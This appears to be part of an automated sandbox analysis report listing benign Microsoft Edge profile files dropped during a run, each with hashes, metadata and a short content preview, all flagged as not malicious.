C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674572C3-1F50.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727187260592375
Encrypted:	false
SSDEEP:	192:JiCT+20pqtmanOAQ5YMJPi6VBK/7+HfgHXeJINMEYTwgh0MNBh+zRQcD/OZQ9RZs:cs+20ctxid4qphhkVfo8Z08T2RGOD
MD5:	823A27FA2B3CA9B61750B0B771F76745
SHA1:	47540492CDF71914AA8DB202FDBBC55CD36DF3B6
SHA-256:	4D3605A0AF68EF54DFE04E276C79E5BB95102A1E159FE8730E6EFEEBC02B9BD1
SHA-512:	78676EA33C5C6627A4A4EE172A17E5ECD1E10526C35C42D9EE5FBA1CAB22D45A0421A258C8AA034EDEAD5220CC451252A84208CDFEEC6FAAD2596298674EFCFF
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".bsfgpp20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.......,..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674572C4-B1C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45207093946807525
Encrypted:	false
SSDEEP:	3072:WV2bOXRIfM0WPDaQuSPkcMVZV/DEbd5A4WcuDIYQPq5iz0Lg1HFH:VbOGGaQuokcMpI4/cuBQPq5iz0LaHd
MD5:	347067122EC9EACF023B863A04AF49A5
SHA1:	6888E4F08493693BBE377A0CA3508EAED76605BE
SHA-256:	0B5F36766364A26651166413B5056C69E5C4EF50B7DA2E30B2DB3CA2EF193C47
SHA-512:	8DE41F5C67CC805F4884801702C734F730E5D11432E90FA7BAF867A53C186878C69D33ED4A2B05D651210D08FB5CA688CFED01A48CD87C264E562A5C26D169F7
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".bsfgpp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2e4587c4-0cff-488d-9d46-6073f5868576.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\622007ec-112e-46de-9aef-f7d70818ee5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7f6b4314-adb6-47ce-a4ed-f736fcf9e4bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554563742391617
Encrypted:	false
SSDEEP:	768:EaIO767pLGLPJbWPJRfEQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYum9ZrwqJnJqKY:EaIO7ScPJbWPJRfEQu1jaBD9qqJnoGt4
MD5:	2C458A3B46D10759D018CA15E4922419
SHA1:	8E2084ECC1A8699A9387351CC02B0B40A3F546F0
SHA-256:	58C6CCE6628A4004F05DEAEA2A2B34B21D701E32E8D8EF7046F44884696CB84A
SHA-512:	2E8007C5E9FC9A530FE83FC0B60667E65F31D354ED58D5F59CD10213B56FEFC7815A4DF79AB045A010CA5D4488A3B2599DD6C429E8344271B893F3D75126F5E4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377078212191854","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377078212191854","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.285027593787183
Encrypted:	false
SSDEEP:	6:HYL8q1CHhJ23oH+Tcwtp3hBtB2KLlVYLBvlL+q2PCHhJ23oH+Tcwtp3hBWsIFUv:0Yebp3dFLc9yvBYebp3eFUv
MD5:	2C92409B90DFFE2B67222CAF23E0CABA
SHA1:	156F0872512EF441A822C741DBCD9E119DA2B36E
SHA-256:	EB4C21B1BA1E61347B6F82AC2E505A67DFC35396464E58EE96BCD7850B524FBF
SHA-512:	D7EA23CF5E487C4CC85980C81727473241979FB6848E76234DBCF120390E201F6FCD61BA9E9AFBEDFA88BB273DC0058654CE218711105A1296D78DD5E7F50060
Malicious:	false
Preview:	2024/11/26-02:03:37.558 1a38 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/26-02:03:37.587 1a38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138093185905168
Encrypted:	false
SSDEEP:	24576:hKPUfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKsfqJmcx
MD5:	07AE608FE9FF94F8F4DD65B937A51371
SHA1:	7085715F22F4F076C6A49BC2A7626E68A357C7A5
SHA-256:	870CA771539E3CA491B2B4456F3B8B138385B6D21BD8D56E1C1A0D98E3C0C029
SHA-512:	9088D500723892AB28DDC4DD018E92BC258CEEDD704A133A68FEB916A4501BBCB4DEDB6923A45040EC090469F00F5B5600434AA17ED5FEA452F988AEC17C5BEF
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.153341041243989
Encrypted:	false
SSDEEP:	6:HYR+Q+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YYFgZmw+YYgUQVkwOCHhJ23oH+Tcwt9O:FVvBYeb9Eh16FUt8Fg/+dI56Yeb9Eh1H
MD5:	67E34391B7C10D4AAC69793614000E37
SHA1:	E2BCB1B78910CEFAA7E6EABC846B03274D93A1AF
SHA-256:	E909727C463BAB9CBB98142E9236A20252AF33291836BFD04AA946AD275DD983
SHA-512:	E52242E9764928314FF21FCE106BE155E73DE94CA10F1922491113A685524915A1B32E681AC1D898A82139F54D44A3E05B9172E99920529EC5F61165FF5F4A1D
Malicious:	false
Preview:	2024/11/26-02:03:37.676 20f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-02:03:37.677 20f8 Recovering log #3.2024/11/26-02:03:37.682 20f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.153341041243989
Encrypted:	false
SSDEEP:	6:HYR+Q+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YYFgZmw+YYgUQVkwOCHhJ23oH+Tcwt9O:FVvBYeb9Eh16FUt8Fg/+dI56Yeb9Eh1H
MD5:	67E34391B7C10D4AAC69793614000E37
SHA1:	E2BCB1B78910CEFAA7E6EABC846B03274D93A1AF
SHA-256:	E909727C463BAB9CBB98142E9236A20252AF33291836BFD04AA946AD275DD983
SHA-512:	E52242E9764928314FF21FCE106BE155E73DE94CA10F1922491113A685524915A1B32E681AC1D898A82139F54D44A3E05B9172E99920529EC5F61165FF5F4A1D
Malicious:	false
Preview:	2024/11/26-02:03:37.676 20f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-02:03:37.677 20f8 Recovering log #3.2024/11/26-02:03:37.682 20f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4619271162352437
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuD:TouQq3qh7z3bY2LNW9WMcUvBuD
MD5:	818730F00CF0F95666BBF08E79EDBB05
SHA1:	A9676A84FE048D1C38BFA7075E3273ACD3AA9A82
SHA-256:	5E0A4CB5AF5C61E4A7384FB240341D7404C3E0945AA7A3AADAAFB59DD88CB9C6
SHA-512:	5F307FB79CEAB425004EE611412F52B761DC8FD07C7E9FC27DBBA3AED287D49BA510A89AB1C0A262BCEFA615A4BAA6F12383B756B505A492B988D7A74BB60BC5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2093800906936245
Encrypted:	false
SSDEEP:	6:HYqN+q2PCHhJ23oH+TcwtnG2tMsIFUt8YYstZZmw+YYstNVkwOCHhJ23oH+TcwtB:nIvBYebn9GFUt8WZ/+Wz56Yebn95J
MD5:	95466C9FB577616C2FF26CDEBC5A1AC6
SHA1:	6306AAD94AE22D5FD51B22F4502936A281C827AE
SHA-256:	530DA4E77BD358DE3AEDE9B10296FD6545E0FA8FA5643D926A69AE36B7821ECD
SHA-512:	FE87A80A3DDE34EA0689B34D4BD87F8C1B410F65BF4AD2FB456B4276DA6FD86A103F392E05960030DC6A95CC7653643786F779784DFE653EC78D7619236C8180
Malicious:	false
Preview:	2024/11/26-02:03:32.206 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-02:03:32.354 1ec8 Recovering log #3.2024/11/26-02:03:32.354 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2093800906936245
Encrypted:	false
SSDEEP:	6:HYqN+q2PCHhJ23oH+TcwtnG2tMsIFUt8YYstZZmw+YYstNVkwOCHhJ23oH+TcwtB:nIvBYebn9GFUt8WZ/+Wz56Yebn95J
MD5:	95466C9FB577616C2FF26CDEBC5A1AC6
SHA1:	6306AAD94AE22D5FD51B22F4502936A281C827AE
SHA-256:	530DA4E77BD358DE3AEDE9B10296FD6545E0FA8FA5643D926A69AE36B7821ECD
SHA-512:	FE87A80A3DDE34EA0689B34D4BD87F8C1B410F65BF4AD2FB456B4276DA6FD86A103F392E05960030DC6A95CC7653643786F779784DFE653EC78D7619236C8180
Malicious:	false
Preview:	2024/11/26-02:03:32.206 1ec8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/26-02:03:32.354 1ec8 Recovering log #3.2024/11/26-02:03:32.354 1ec8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130204086333858
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j3sHpFstmL:TO8D4jJ/6Up+4sK
MD5:	1F1B0658CE7ACD5767B3A8991EA1D139
SHA1:	8A1214EEAEDB71306B804F51DFFD02D6C52070C1
SHA-256:	AF40A35DF1C0653B1651D56A568702094173D47F739B75EF186D03FF265C0361
SHA-512:	CDBE6949D4A2618B9A091BDD9CD8016B556117E90C513D04BC41358B126D26D6123028014210D762EA56119174223728853FBFEC942051C743B90CF3CD4BEACA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541693018672625
Encrypted:	false
SSDEEP:	6144:fA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:fFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E66CB9D55A54DF33CBAF9569D67F2B6C
SHA1:	36E5D8FFF8ACA8491E19DF63C2054C290AB32240
SHA-256:	57AE9660009E6FEC3DEF36E16B85B47B49A8F712389EF764F18615F56A81143B
SHA-512:	0D41C099030AC06858385667EA2E85F737E4965EA683EEB34C3E5566C07138EAD02A2362308651F8B13F409B3C8A7EC96C359259790E1A3CB5273A72407228AA
Malicious:	false
